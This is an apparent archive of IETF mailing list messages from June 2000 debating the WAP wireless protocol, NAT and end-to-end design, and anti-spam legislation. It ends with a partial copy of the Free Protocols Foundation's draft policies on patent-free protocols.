
If it is not IP based it is not good ! This is an emotional response,
not a technical one. Using the same arguments, the whole phone system
isn't good because it has nothing to do with IP (or at least was true
till VoIP came), and same is true of all G2 TDMA, CDMA and GSM
cellular systems (and don't forget AMPS, CDECT and many other wireless
standards).

If you want to say that WAP is not good because it closes alternative
solutions, I very much agree with you (which a good reason to fight
for). But to say that an existing wireless standard that has millions
of users is no good, isn't a proper argument. I agree that ReFLEX is a
proprietary standard, and proprietary standards (with controlled
licensing as ReFLEX is) are bad for consumers - you can definitely
argue on that basis.

But you cannot argue on technical merits of the protocol itself
because it is very efficient in delivery of email messages. Using a 25
KHz channel it can support thousands of devices. It is not only very
efficient in usage of radio spectrum, and it is well known that
under-ground or in-building penetration of FLEX/ReFLEX systems is far
better than any other cellular systems. Of course, it is not designed
for interactive real time operations - but email doesn't require
sub-milli seconds response nor do many telemetry systems such as coke
machine and electric meters in houses. Even ARDIS network, the grand
daddy of wireless data networking in US, has nothing to do with IP.

The WAP's goal was to support just about every possible Radio layer.
It is all inclusive and does support IP devices (which use CDPD, GPRS
or CDMA/GSM - IWUs).
Moreover, TCP/IP isn't designed for wireless channels which have
limitations on bandwidth, frequent handovers, channel errors, and
periods when channel isn't available at all (of course, number of
solutions some of them are pure software hacks, such as snooping TCP
halfway at BS etc., have been proposed. Of course, we haven't yet
figured out how to initiate an application between two devices when
both sit behind NATs at this scale (try sending a TCP connection
message from one cellular phone to another cellular phone in the car
and assume that both have them have no permanent IP addresses !). You
will need true IPv6 without which IP with NAT isn't going to go long
distance in wireless devices.

What I wished to point out was that you definitely have a good
objective, but the approach is not right. The real issue is should all
technology be supported by a single set of WAP Forum derived
specifications. What is good for ReFLEX (@9600 bauds) isn't good for
CDPD at 19.2 Kbps and definitely isn't good at 170kbps GPRS, or 2
Mbits/sec G3 micro cells. I think there you have some good arguments.
Given that most cellular devices or systems come from three  super
heavy weights, and two heavy weights, any solutions that doesn't get
supported by some of them, has little  chance to get adopted in near
future. But try - you definitely can, and should.


Cheers,

--brijesh
Ennovate Networks Inc.
(my personal views only, and in no way reflect opinions of my
organization.)
















From owner-ietf-outbound  Wed Jun 21 12:00:30 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA04927
	for ietf-outbound.10@ietf.org; Wed, 21 Jun 2000 12:00:02 -0400 (EDT)
Received: from pntsmtp02.hq.espire.net (smtp1.espire.net [206.222.96.209])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA04579
	for <ietf@ietf.org>; Wed, 21 Jun 2000 11:50:31 -0400 (EDT)
Received: FROM pntsmtp02.hq.espire.net BY pntsmtp02.hq.espire.net ; Wed Jun 21 11:50:55 2000 -0400
Received: by PNTSMTP02.hq.espire.net with Internet Mail Service (5.5.2650.21)
	id <MM578F44>; Wed, 21 Jun 2000 11:50:55 -0400
Message-ID: <11C39F7E0407D411AF1000D0B7475FDE4A934F@PNTEXCH04.hq.espire.net>
From: "Taylor, Johnny" <Johnny.Taylor@espire.net>
To: "Donald E. Eastlake 3rd" <dee3@torque.pothole.com>, ietf@ietf.org
Subject: RE: IP over MIME (was Re: WAP Is A Trap -- Reject WAP)
Date: Wed, 21 Jun 2000 11:48:16 -0400
Return-Receipt-To: "Taylor, Johnny" <Johnny.Taylor@espire.net>
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

All,

I have seen a lot of different people bash WAP over the past two days.
However, I
am a firm believer that WAP will become what IP is to us today. When you
relate the 
technologies of today and the future technologies from a Telecommunication
stand point.
Then you will find IP is on the rise today and various Platforms are
integrating or
converging IP to their core networks. But when you equate the moves that are
taking
place for future solutions to the commercial or residential market. such as
The Teledesic 
Model or AOL or Manasamen; then you began to get a glimpse 
of the future of WAP. Therefore I think it becomes quite important for this
group to 
keep WAP as one of the main protocols of discussion / solutions. That's my
take on WAP!

Coming from the Brain!

JT 


-----Original Message-----
From: Donald E. Eastlake 3rd [mailto:dee3@torque.pothole.com]
Sent: Wednesday, June 21, 2000 7:31 AM
To: ietf@ietf.org
Subject: IP over MIME (was Re: WAP Is A Trap -- Reject WAP)


See <ftp://ftp.ietf.org//internet-drafts/draft-eastlake-ip-mime-03.txt>.

Donald

From:  Magnus Danielson <magda@netinsight.se>
To:  mohta@necom830.hpcl.titech.ac.jp
Cc:  karn@QUALCOMM.COM, public@mohsen.banan.1.byname.net, ietf@ietf.org
In-Reply-To:  <200006202042.FAA17413@necom830.hpcl.titech.ac.jp>
References:  <200006202022.NAA27444@servo.qualcomm.com>
	    	<200006202042.FAA17413@necom830.hpcl.titech.ac.jp>
Message-Id:  <20000621104040S.magda@netinsight.se>
Date:  Wed, 21 Jun 2000 10:40:40 +0200

>From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
>Subject: Re: WAP Is A Trap -- Reject WAP
>Date: Wed, 21 Jun 0 5:42:32 JST
>
>> Phil;
>> 
>> > >IP over NAT is, in no way, end-to-end.
>> > 
>> > >WAP and IP over NAT are equally bad.
>> > 
>> > I think you're overstating your case. Yes, IP over NAT is bad, but
>> > it's nowhere near as bad as WAP.
>> 
>> If you think so, don't say "end-to-end".
>> 
>> > If you want, it is still possible to "reconstruct" a true end-to-end
>> > IP service by tunneling it through a NAT with something vaguely
>> > resembling mobile IP.
>> 
>> You can have IP over HTTP, IP over XML or IP over WAP equally easily.
>
>With IP over MIME you could even establish an IP connection over a mail
>gateway, firewall bypassing... Hmm.... the same goes for http proxies.
>
>> The problem, however, is that the reconstruction point is an
>> intelligent gateway which violates the end to end principle.
>
>Havent we learned to love and hate these breaking of layering?
>
>You can put basically anything over anything else when it comes to just
moving
>bits around. While doing this we get the additional benefits of increased
>propagation delay, increased overhead, often complexer solutions and a new
>bag of problems in the interworking area. Lovely. We can feed a lot of
>research and engineer mouths this way.
>
>Now, while NAT and WAP both intend to solve some problems, they provide
ground
>for new problems which naturally require new solutions. We should really
ask
>weither some of these problems really should be solved within that scope or
>not. If IP over WAP is a bag of worms, maybe one should bypass WAP
alltogether.
>Where we know that neither ATM, IP or NAT solves all the problems neither
will
>WAP.
>
>It is not really what you could do as what you should do. Naturally there
is
>allways politically and technical preferences which prohibits some
solutions.
>
>Cheers,
>Magnus
>



From owner-ietf-outbound  Wed Jun 21 12:30:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA07097
	for ietf-outbound.10@ietf.org; Wed, 21 Jun 2000 12:30:03 -0400 (EDT)
Received: from ztxmail04.ztx.compaq.com (ztxmail04.ztx.compaq.com [161.114.1.208])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA06979
	for <ietf@ietf.org>; Wed, 21 Jun 2000 12:25:16 -0400 (EDT)
Received: by ztxmail04.ztx.compaq.com (Postfix, from userid 12345)
	id D92FD12C; Wed, 21 Jun 2000 11:24:45 -0500 (CDT)
Received: from excreo-gh01.reo.dec.com (excreo-gh01.reo.cpqcorp.net [16.41.128.40])
	by ztxmail04.ztx.compaq.com (Postfix) with ESMTP
	id 0A0F21B9; Wed, 21 Jun 2000 11:24:45 -0500 (CDT)
Received: by excreo-gh01.reo.cpqcorp.net with Internet Mail Service (5.5.2650.21)
	id <NJDJAFYX>; Wed, 21 Jun 2000 17:24:43 +0100
Message-ID: <71C4C55F198BD211B24F0000F842F15807ED9B2A@reoexc6.reo.cpqcorp.net>
From: "Parkinson, Jonathan" <Jonathan.Parkinson@compaq.com>
To: "'Taylor, Johnny'" <Johnny.Taylor@espire.net>,
        "Donald E. Eastlake 3rd" <dee3@torque.pothole.com>, ietf@ietf.org
Subject: RE: IP over MIME (was Re: WAP Is A Trap -- Reject WAP)
Date: Wed, 21 Jun 2000 17:24:39 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

I just have 3 things to say

WAP, Bluetooth and UMTS.

The future looks Quick, the Future looks Mobile. 
:-)

Thanks
Jon

-----Original Message-----
From: Taylor, Johnny [mailto:Johnny.Taylor@espire.net]
Sent: Wednesday, June 21, 2000 4:48 PM
To: Donald E. Eastlake 3rd; ietf@ietf.org
Subject: RE: IP over MIME (was Re: WAP Is A Trap -- Reject WAP)


All,

I have seen a lot of different people bash WAP over the past two days.
However, I
am a firm believer that WAP will become what IP is to us today. When you
relate the 
technologies of today and the future technologies from a Telecommunication
stand point.
Then you will find IP is on the rise today and various Platforms are
integrating or
converging IP to their core networks. But when you equate the moves that are
taking
place for future solutions to the commercial or residential market. such as
The Teledesic 
Model or AOL or Manasamen; then you began to get a glimpse 
of the future of WAP. Therefore I think it becomes quite important for this
group to 
keep WAP as one of the main protocols of discussion / solutions. That's my
take on WAP!

Coming from the Brain!

JT 


-----Original Message-----
From: Donald E. Eastlake 3rd [mailto:dee3@torque.pothole.com]
Sent: Wednesday, June 21, 2000 7:31 AM
To: ietf@ietf.org
Subject: IP over MIME (was Re: WAP Is A Trap -- Reject WAP)


See <ftp://ftp.ietf.org//internet-drafts/draft-eastlake-ip-mime-03.txt>.

Donald

From:  Magnus Danielson <magda@netinsight.se>
To:  mohta@necom830.hpcl.titech.ac.jp
Cc:  karn@QUALCOMM.COM, public@mohsen.banan.1.byname.net, ietf@ietf.org
In-Reply-To:  <200006202042.FAA17413@necom830.hpcl.titech.ac.jp>
References:  <200006202022.NAA27444@servo.qualcomm.com>
	    	<200006202042.FAA17413@necom830.hpcl.titech.ac.jp>
Message-Id:  <20000621104040S.magda@netinsight.se>
Date:  Wed, 21 Jun 2000 10:40:40 +0200

>From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
>Subject: Re: WAP Is A Trap -- Reject WAP
>Date: Wed, 21 Jun 0 5:42:32 JST
>
>> Phil;
>> 
>> > >IP over NAT is, in no way, end-to-end.
>> > 
>> > >WAP and IP over NAT are equally bad.
>> > 
>> > I think you're overstating your case. Yes, IP over NAT is bad, but
>> > it's nowhere near as bad as WAP.
>> 
>> If you think so, don't say "end-to-end".
>> 
>> > If you want, it is still possible to "reconstruct" a true end-to-end
>> > IP service by tunneling it through a NAT with something vaguely
>> > resembling mobile IP.
>> 
>> You can have IP over HTTP, IP over XML or IP over WAP equally easily.
>
>With IP over MIME you could even establish an IP connection over a mail
>gateway, firewall bypassing... Hmm.... the same goes for http proxies.
>
>> The problem, however, is that the reconstruction point is an
>> intelligent gateway which violates the end to end principle.
>
>Havent we learned to love and hate these breaking of layering?
>
>You can put basically anything over anything else when it comes to just
moving
>bits around. While doing this we get the additional benefits of increased
>propagation delay, increased overhead, often complexer solutions and a new
>bag of problems in the interworking area. Lovely. We can feed a lot of
>research and engineer mouths this way.
>
>Now, while NAT and WAP both intend to solve some problems, they provide
ground
>for new problems which naturally require new solutions. We should really
ask
>weither some of these problems really should be solved within that scope or
>not. If IP over WAP is a bag of worms, maybe one should bypass WAP
alltogether.
>Where we know that neither ATM, IP or NAT solves all the problems neither
will
>WAP.
>
>It is not really what you could do as what you should do. Naturally there
is
>allways politically and technical preferences which prohibits some
solutions.
>
>Cheers,
>Magnus
>



From owner-ietf-outbound  Wed Jun 21 13:30:29 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA09281
	for ietf-outbound.10@ietf.org; Wed, 21 Jun 2000 13:30:02 -0400 (EDT)
Received: from shell9.ba.best.com (root@shell9.ba.best.com [206.184.139.140])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA09124
	for <ietf@ietf.org>; Wed, 21 Jun 2000 13:20:40 -0400 (EDT)
Received: (from bovik@localhost)
	by shell9.ba.best.com (8.9.3/8.9.2/best.sh) id KAA13962;
	Wed, 21 Jun 2000 10:17:25 -0700 (PDT)
Date: Wed, 21 Jun 2000 10:17:25 -0700 (PDT)
From: "James P. Salsman" <bovik@best.com>
Message-Id: <200006211717.KAA13962@shell9.ba.best.com>
To: ietf@ietf.org
Subject: idea for Free Protocols Foundation
X-Loop: ietf@ietf.org

The Free Protocols Foundation is correct in their position. 
The amount of misrepresentation in the industry is becoming 
absurd.  Most of it is bait-and-switch, but beyond the 
consumers hurt by it, shareholders are sure to be, too.

I suggest that organizations keep a public registry of 
companies which have made a pledge such as the following:

] To:  corporate officer
] From:  customer or shareholder
] 
] Please indicate your agreement to this pledge or the 
] reasons that you can not currently agree to it.  Thank you!
] 
] THE FREE OPEN STANDARDS PLEDGE
] 
] Before we claim any protocol or software is "open," 
] "standard," or "free," we will take reasonable steps to 
] insure that the system is unencumbered by licensing 
] requirements.
] 
] Any profits that can come from the misleading promotion of 
] such systems will be in the long run far smaller than the 
] damage done by misrepresentation.
] 
] I am distributing this pledge to our sales, marketing, 
] engineering, and legal departments.
] 
] Signed,
] 
] _________________
] corporate officer


Cheers,
James



From owner-ietf-outbound  Wed Jun 21 13:40:16 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA09489
	for ietf-outbound.10@ietf.org; Wed, 21 Jun 2000 13:40:03 -0400 (EDT)
Received: from seattle.3com.com (seattle.3com.com [129.213.128.97])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA09426
	for <ietf@ietf.org>; Wed, 21 Jun 2000 13:36:31 -0400 (EDT)
From: Jim_Stephenson-Dunn@3com.com
Received: from new-york.3com.com (new-york.3com.com [129.213.157.12])
	by seattle.3com.com (8.8.8/8.8.8) with ESMTP id KAA24662;
	Wed, 21 Jun 2000 10:35:34 -0700 (PDT)
Received: from hqoutbound.ops.3com.com (hqoutbound.OPS.3Com.COM [139.87.48.104])
	by new-york.3com.com (8.8.8/8.8.8) with SMTP id KAA14983;
	Wed, 21 Jun 2000 10:35:21 -0700 (PDT)
Received: by hqoutbound.ops.3com.com(Lotus SMTP MTA v4.6.7  (934.1 12-30-1999))  id 88256905.00607121 ; Wed, 21 Jun 2000 10:33:23 -0700
X-Lotus-FromDomain: 3COM
To: Keith Moore <moore@cs.utk.edu>
cc: ietf@ietf.org, disenberg@GigaLaw.com
Message-ID: <88256905.00606AE3.00@hqoutbound.ops.3com.com>
Date: Wed, 21 Jun 2000 10:33:27 -0700
Subject: Freedom of Speech (was fyi.. House Committee Passes Bill Limiting
	 Spam E-Mail )
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
X-Loop: ietf@ietf.org



Whilst I certainly believe that that arguement may be used by spammers (and
probably will), the concept of freedom of speech was that you could talk
un-obstructed by any persons or organisations. The audience had the option
wheather they wanted to listen or not, if they did not, they would simply walk
away.

With the advent of email however, we have lost the right to walk away and not
listen, so now we have to open the mail, read the mail and decide if we are
intrested in the contents of the mail, before deleting it. The loss of time and
man hours could be significant enough to warrant charges maybe being drawn up
against the spammer for theft of that employees time. and whilst the spammers
will invoke the freedom of speech excuse, will it make any difference when in
effect you have a captive audience who cannot even exercise the right to walk
away.

Wow, this is getting very legal (and I am a Network Engineer, not an attorney,
Damn it ;-> (apologies to Dr. McCoy))

What is the legal perspective on this ? (clip notes please ;-> )

Jim




**************************************************************************************
*       Legal Disclaimer
       *
*                                                                              *
*The opinions expressed within this mail are specifically my own and in no way
refer to or relate to any              *
*ongoing business and/or the technical direction of 3Com Corporation, or any
subsidiary companies or               *
*business units within 3Com Corporation and it's subsidiaries.
                            *
*                                                                              *
**************************************************************************************




Keith Moore <moore@cs.utk.edu> on 06/15/2000 06:35:23 PM

Sent by:  Keith Moore <moore@cs.utk.edu>


To:   Doug Isenberg <disenberg@GigaLaw.com>
cc:   "'ietf @ietf.org'" <ietf@ietf.org> (Jim Stephenson-Dunn/C/HQ/3Com)
Subject:  Re: fyi.. House Committee Passes Bill Limiting Spam E-Mail



>         I've yet to read the whole bill (H.R. 3113), but I suspect (or, at
>least, hope) that the politicians behind this legislation are intending to
>draft a federal law that, unlike at least two state attempts, will survive
>a constitutional challenge.

And I hope that the courts will finally realize that freedom of speech
includes the freedom not to have your communications disrupted by people
who want to sell you things.

Keith







From owner-ietf-outbound  Wed Jun 21 13:50:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA09796
	for ietf-outbound.10@ietf.org; Wed, 21 Jun 2000 13:50:02 -0400 (EDT)
Received: from btw.plaintalk.bellevue.wa.us (btw-xl1.plaintalk.bellevue.wa.us [206.129.5.130])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA09748
	for <ietf@ietf.org>; Wed, 21 Jun 2000 13:48:41 -0400 (EDT)
Received: from software-munitions.com (fwiw.plaintalk.bellevue.wa.us [206.129.5.157])
	by btw.plaintalk.bellevue.wa.us (8.10.1/8.10.1) with ESMTP id e5LHlbg50745;
	Wed, 21 Jun 2000 10:47:37 -0700 (PDT)
Message-ID: <3950FFB9.AB0ECF2F@software-munitions.com>
Date: Wed, 21 Jun 2000 10:47:37 -0700
From: Dennis Glatting <dennis.glatting@software-munitions.com>
X-Mailer: Mozilla 4.73 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>
CC: IETF Mailing List <ietf@ietf.org>
Subject: Re: WAP Is A Trap -- Reject WAP
References: <20000620064913.27719.qmail@tooran.byname.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit


I haven't read the WAP technical documents but I am struggling with
the concept of a protocol created by the WAP Forum being secure and
without snooping features. (I don't consider WTLS significant, rather
a feel good measure.) Would someone more knowledgeable on WAP and
their security model comment?



From owner-ietf-outbound  Wed Jun 21 14:20:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA10539
	for ietf-outbound.10@ietf.org; Wed, 21 Jun 2000 14:20:02 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA10445
	for <ietf@ietf.org>; Wed, 21 Jun 2000 14:13:33 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id OAA09861;
        Wed, 21 Jun 2000 14:13:27 -0400 (EDT)
Message-Id: <200006211813.OAA09861@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: "Taylor, Johnny" <Johnny.Taylor@ESPIRE.NET>
cc: "Donald E. Eastlake 3rd" <dee3@torque.pothole.com>, ietf@ietf.org
Subject: Re: IP over MIME (was Re: WAP Is A Trap -- Reject WAP) 
In-reply-to: Your message of "Wed, 21 Jun 2000 11:48:16 EDT."
             <11C39F7E0407D411AF1000D0B7475FDE4A934F@PNTEXCH04.hq.espire.net> 
Date: Wed, 21 Jun 2000 14:13:26 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

> I have seen a lot of different people bash WAP over the past two days.
> However, I am a firm believer that WAP will become what IP is to us today. 

WAP might evolve into something more useful, but I don't see how it will
replace IP in any sense.  WAP as it currently exists isn't a solution 
to any future problem - it is a solution to the problem of how to 
build a consumer information service over SMS and cell phones with limited
displays.  But cell networks are starting to deploy far better data
delivery services than SMS (more bandwidth, less latency) and I expect
that cell phones will get better display capabilities along with PDA
functionality (and likewise, PDAs will get wireless data capability).
Under these conditions, WAP as we know it today isn't very interesting.

My personal experience with present-day WAP is that it's slower and
more difficult to use than comperable voice-based services.

I expect that WAP will evolve, and continue to be used, because there will 
certainly be some services that fit its market niche.  But it will 
generally be run over IP, because IP will generally be available and
it is more efficient than SMS.  And it will be just one of many IP-based 
services that are accessible from a wireless platform.

Keith



From owner-ietf-outbound  Wed Jun 21 14:50:26 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA11036
	for ietf-outbound.10@ietf.org; Wed, 21 Jun 2000 14:50:02 -0400 (EDT)
Received: from tooran.byname.net ([198.62.92.29])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA11011
	for <ietf@ietf.org>; Wed, 21 Jun 2000 14:49:43 -0400 (EDT)
Received: (qmail 11090 invoked by uid 100); 21 Jun 2000 18:48:42 -0000
Date: 21 Jun 2000 18:48:42 -0000
Message-ID: <20000621184842.11089.qmail@tooran.byname.net>
MIME-Version: 1.0
From: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>
To: "James P. Salsman" <bovik@best.com>
Cc: ietf@ietf.org
Subject: Re: idea for Free Protocols Foundation
In-Reply-To: <200006211717.KAA13962@shell9.ba.best.com>
References: <200006211717.KAA13962@shell9.ba.best.com>
X-Mailer: VM 6.33 under 19.15p7 XEmacs Lucid
Content-Type: text/plain; charset=US-ASCII
X-Loop: ietf@ietf.org

>>>>> On Wed, 21 Jun 2000 10:17:25 -0700 (PDT), "James P. Salsman" <bovik@best.com> said:

  James> The Free Protocols Foundation is correct in their position. 
  James> The amount of misrepresentation in the industry is becoming 
  James> absurd.  Most of it is bait-and-switch, but beyond the 
  James> consumers hurt by it, shareholders are sure to be, too.


As founder of the Free Protocols Foundation (FPF),
of course I could not agree with you more.

Most of the feedback that we have received about
the general concept of Free Protocols has been
very positive. However, up to now the policies and
procedures that we propose have not been widely
reviewed.

Soon after this note, I will send a copy of the
FPF Policies and Procedures to this list for
review. Those of you interested in pursuing this
concept further are invited to participate in the
mailing lists set up at FPF web site at
http://www.freeprotocols.org/ or to send your
subscription request to
mailto:interest-subscribe@lists.freeprotocols.org

I am willing to carry the ball for the FPF cause
for a while and can certainly benefit from the
participation of others in this non-profit
organization. Those of you wishing to contribute
towards this cause in any way, can drop me note.

Regards,

...Mohsen.



From owner-ietf-outbound  Wed Jun 21 15:04:39 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA11312
	for ietf-outbound.10@ietf.org; Wed, 21 Jun 2000 15:04:35 -0400 (EDT)
Received: from tooran.byname.net ([198.62.92.29])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA11018
	for <ietf@ietf.org>; Wed, 21 Jun 2000 14:49:51 -0400 (EDT)
Received: (qmail 11096 invoked by uid 100); 21 Jun 2000 18:49:29 -0000
Date: 21 Jun 2000 18:49:29 -0000
Message-ID: <20000621184929.11095.qmail@tooran.byname.net>
MIME-Version: 1.0
From: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>
To: IETF Mailing List <ietf@ietf.org>
Subject: Free Protocols Foundation Policies and Procedures -- Request For Review
Content-Type: text/plain; charset=US-ASCII
X-Loop: ietf@ietf.org



I request that you review the attached document and
email us your comments to:   
  mailto:public@mohsen.banan.1.byname.net

This is what I consider a reasonably complete
version of the policies and procedures which
is likely to bring a lot of good in the area of
Internet protocol development.

If the Free Protocols Foundation policies become
better understood and known, then traps such
as WAP have less of a chance to be
successful.

Those of you interested in pursuing this concept
further are invited to participate in the mailing
lists set up at FPF web site at
http://www.freeprotocols.org/ or to send your
subscription request to
mailto:interest-subscribe@lists.freeprotocols.org

Thank you in advance for reviewing this
document and for your comments, suggestions
and ideas.


...Mohsen.


----

	    The Free Protocols Foundation
	       Policies and Procedures

		www.FreeProtocols.org

		     Version 0.7
		     May 10, 2000


Copyright 2000 Free Protocols Foundation.

Published by:
Free Protocols Foundation
17005 SE 31st Place
Bellevue, WA 98008 USA

Permission is granted to make and distribute verbatim
copies of this document provided the copyright notice and
this permission notice are preserved on all copies.

Contents
========

1   Introduction
   1.1  The Free Protocols Foundation Mission
   1.2  The Patent Debate
   1.3  How Patents Affect Protocols
   1.4  Difficulties Relating to Software and Protocol Patents
   1.5  Terminology
       1.5.1  Definitions 
   1.6  About the Free Protocol Policies and Procedures
   1.7  About this Document 

2   The Protocol Development Process 
   2.1  Phases of Development
       2.1.1  Initial Protocol Development
       2.1.2  Global Parameter Assignment 
       2.1.3  Protocol Publication 
       2.1.4  Patent-Free Declarations 
       2.1.5  Industry Usage 
       2.1.6  Maintenance and Enhancement 
       2.1.7  Endorsement by a Standards Body
   2.2  Role of the Free Protocols Foundation 
   2.3  Comparison to Standards Organization Processes
       2.3.1  Centralisation vs.  Decentralization
              of Responsibility 
       2.3.2  Coordination of Activities  
       2.3.3  Selective vs.  Egalitarian Patent-Freedom

3   The Free Protocols Foundation  
   3.1  General Philosophy 
   3.2  Purpose, Activities and Scope  
   3.3  Other Activities

4   Free Protocol Development Working Groups   

5   Patent-Free Declarations   
   5.1  Author's Declaration  
   5.2  Working Group Declaration

6   Patents, Copyright and Confidentiality - Policy Statement
   6.1  Policy Statement Principles 
   6.2 General Policy 
   6.3 Confidentiality Obligations 
   6.4  Rights and Permissions of All Contributions
   6.5 FPF Role Regarding Free Protocol Specifications

1   Introduction
================

1.1   The Free Protocols Foundation Mission
-------------------------------------------

Software patents pose a significant danger to
protocols.  In some cases patents become included in
protocols by accident -- that is, without deliberate
intentionality on the part of the protocol developer.
In other cases, however, an unscrupulous company or
organization may deliberately introduce patented
components into a protocol, in an attempt to gain
market advantage via ownership of the protocol.

In either case, the protocol can then be held hostage
by the patent-holder, to the enormous detriment of
anyone else who may wish to use it.  The inclusion of
software-related patents in protocols is extremely
damaging to the software industry in general, and to
the consumer.

The mission of the Free Protocols Foundation is to
prevent this from happening.  We have defined a set of
processes which a protocol developer can use to work
towards a patent-free result, and we provide a public
forum in which the developer can declare that the
protocol conforms to these processes.  As described
below, it is not possible to provide an absolute
guarantee that any particular protocol is truly
patent-free.  However, the Free Protocols Foundation
processes allow a developer to provide some public
assurance that reasonable, good-faith measures have
been taken to create a patent-free protocol.

In some cases, standards organizations, such as the
IESG, make use of their own processes for developing
patent-free protocols.  However, these processes are
available only for the organization's own internal use.
The Free Protocols Foundation makes the same general
processes available to any protocol developer.  Its
processes allow any company, organization or individual
to develop patent-free protocols, without requiring the
developer to be part of a formal standards
organization.

At the Free Protocols Foundation we strenuously oppose
the creation and promotion of patented protocols.  By
providing clear mechanisms and assurances of
patent-freedom, our goal is to make it abundantly clear
to the industry at large whether a particular protocol
is, or is not, patent-free.

1.2   The Patent Debate
-----------------------

At the time of writing, there is an ongoing debate
within the software industry regarding software
patents.  Like many others within the industry, we at
the Free Protocols Foundation regard the historical
tradition of patents as being entirely inappropriate
for software.

We consider software patents to have the effect of
inhibiting free and open competition within the
software industry, and to be extremely detrimental to
the industry and the consumer.  A complete discussion
of the software patent issue is outside the scope of
this document.  More information on this subject can be
found at various sources, for example [1] or [2].

1.3   How Patents Affect Protocols
----------------------------------

Patents are applied to software, not to protocols.  It
is not possible to patent a protocol; in general only a
process or an algorithm can be patented.  However, a
protocol may include a patented algorithm as an
integral part of its specification.  In this case, any
software implementation of the protocol requires the
use of patented software.  That is, a patented
algorithm is an inherent part of the protocol.

Even if a protocol does not explicitly decree the use
of a specific patented software process, it may still
be the case that any practical implementation of the
protocol requires the use of patented software
components.  The protocol could in principle be
implemented in a way which avoids the use of patented
software.  In practice, however, the result would be a
significantly inferior implementation, for example in
terms of efficiency.

In either case, the protocol effectively implies the
use of patented software.  We will refer to any such
protocol as a patented protocol.  That is, a patented
protocol is any protocol whose practical implementation
requires the use of patented software components.

We will use the term patent-free protocol, or just free
protocol, to refer to a protocol which is functionally
free from software patents.  By ``functionally free
from software patents,'' we mean either that the
protocol is truly free from patents, or if the protocol
does imply the use of patented software, that the
patent-holder has granted non-restrictive rights to
include the patented software components in
implementations of the protocol.

In either case, the result is that the protocol can be
freely implemented and used by anyone, without
encountering significant restrictions.


1.4   Difficulties Relating to Software and Protocol Patents
------------------------------------------------------------

Because of the current state of affairs regarding
software patents, it is no longer possible to be
absolutely certain that any particular protocol is
patent-free.  Whether or not a new invention or
technology violates any existing patents has
traditionally been determined by means of a
patent-search -- a direct search and examination of all
relevant pre-existing patents.  In the case of a
physical technology, this yields a more or less
definitive answer as to whether or not the technology
violates any existing patents.

In the case of software, however, it is not possible to
answer this question with the same degree of certainty.
The basic reason for this lies in the very high degree
of subtlety and complexity of modern software systems.
A software system may contain hundreds or thousands of
individual software constructs, any one of which may
potentially violate an existing patent.  Furthermore,
it is very difficult to establish a taxonomy of
existing software patents.  A taxonomy is required to
guide the patent-search process -- the taxonomy defines
which patents are ``related'' to the technology under
search.  Without a well-defined and meaningful
taxonomy, it is not possible to define an appropriate
scope of search.

In other words, a software system may contain a small
universe of software constructs.  Meanwhile, the Patent
and Trademark Office has established a small universe
of software patents.  Unfortunately, there is no way to
establish with certainty that none of the elements of
one universe also reside in the other universe.

To make matters worse, there can be room for dispute
regarding whether or not a particular software
construct violates a particular patent.  The
patent-holder may claim that it does, while the
software developer claims that it does not.  If the two
parties are unable to come to agreement, the issue can
only be resolved in the courts.

Finally, because of the delay between a company filing
a patent application and the granting of the patent by
the PTO, it is entirely possible for a company to
conduct a software patent-search with negative results,
only to discover subsequently that a patent has been
granted after-the-fact, which now places its software
in violation.

For all these reasons, it has now become essentially
impossible to establish with certainty that a
particular piece of software is, and will remain, truly
patent-free.  Likewise, it has become impossible to
establish with certainty that a particular protocol is,
and will remain, patent-free.

1.5   Terminology
-----------------

Legal rights such as patents and copyright are
sometimes referred to collectively as ``Intellectual
Property Rights.''  Although this is a very commonly
used term, we will avoid using it in this document.
Along with other authors, we object to the use of this
term on the grounds that it blurs the distinction
between intellectual items and material ones.  The law
allows ownership rights to be asserted with regard to
both types of item, and therefore both may be
considered in some sense to be ``property.''  However,
we regard intellectual entities such as software and
protocols to be fundamentally different in nature to
material items, and worthy of entirely different legal
treatment relating to questions of ownership.

Furthermore, the term ``Intellectual Property Rights''
is typically used to encompass a number of widely
differing legal constructs, including patents,
copyrights and trademarks.  These three legal
constructs have entirely different purposes,
mechanisms, and consequences.  Grouping all three
together suggests that they share a general similarity,
and leads to a misunderstanding of their important
distinctions.  For more discussion on this, see [3].
Where necessary, we will use explicit terms such as
``patent,'' or ``copyright,'' to refer to legal rights
